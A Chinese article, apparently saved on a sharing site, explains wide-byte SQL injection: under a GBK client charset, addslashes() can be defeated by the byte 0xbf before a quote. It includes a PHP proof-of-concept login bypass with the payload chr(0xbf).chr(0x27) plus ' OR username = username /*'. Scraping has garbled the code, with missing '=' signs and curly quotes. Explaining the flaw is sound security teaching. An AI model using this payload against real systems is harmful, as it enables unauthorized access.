打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
客户端采用GBK编码时addslashes()可能造成SQL注入漏洞
 
摘要:
      在GBK字符集中,0xbf27不作为多字节字符,而0xbf5c是多字节字符。当0xbf和0x27组合后就变成0xbf27,0xbf 和0x5c 组合后就变成了0xbf5c 。
      当注入字符比如0xbf27时,因为0x27为‘,所以addslashes()在27前加上5c(即\),把0xbf27修改为0xbf5c27。而0xbf5c27的0xbf5c被认为时一个多字节字符,所以后面的27(‘)就被注入了sql语句中了。

代码如下:

[client]default-character-set=GBK

Create a table called users:

CREATE TABLE users(username VARCHAR(32) CHARACTER SET GBK,password VARCHAR(32) CHARACTER SET GBK,PRIMARY KEY (username));
<?php 

$mysql 
= array();

$db mysqli_init();
$db->real_connect(‘localhost‘‘myuser‘‘mypass‘‘mydb‘);

$_POST[‘username‘] = chr(0xbf) .
                     
chr(0x27) .
                     
‘ OR username = username /*‘;
$_POST[‘password‘] = ‘guess‘;

$mysql[‘username‘] = addslashes($_POST[‘username‘]);
$mysql[‘password‘] = addslashes($_POST[‘password‘]);

$sql "SELECT *
        FROM   users
        WHERE  username = ‘{$mysql[‘username‘]}‘
        AND    password = ‘{$mysql[‘password‘]}‘"
;

$result $db->query($sql);

if (
$result->num_rows)
{
    echo 
‘<p>Success</p>‘;
}
else
{
    echo 
‘<p>Failure</p>‘;
}

?>
 ps:与0x5c(即\)为结尾组成多字节字符的字符集都可能有这个漏洞。
 
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
科普:宽字节注入详解
利用SQL注入漏洞登录后台
php中addslashes() ,mysql
php mysql SQL注入语句构造
使用参数化查询防止SQL注入漏洞
php 注册时输入信息验证器
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服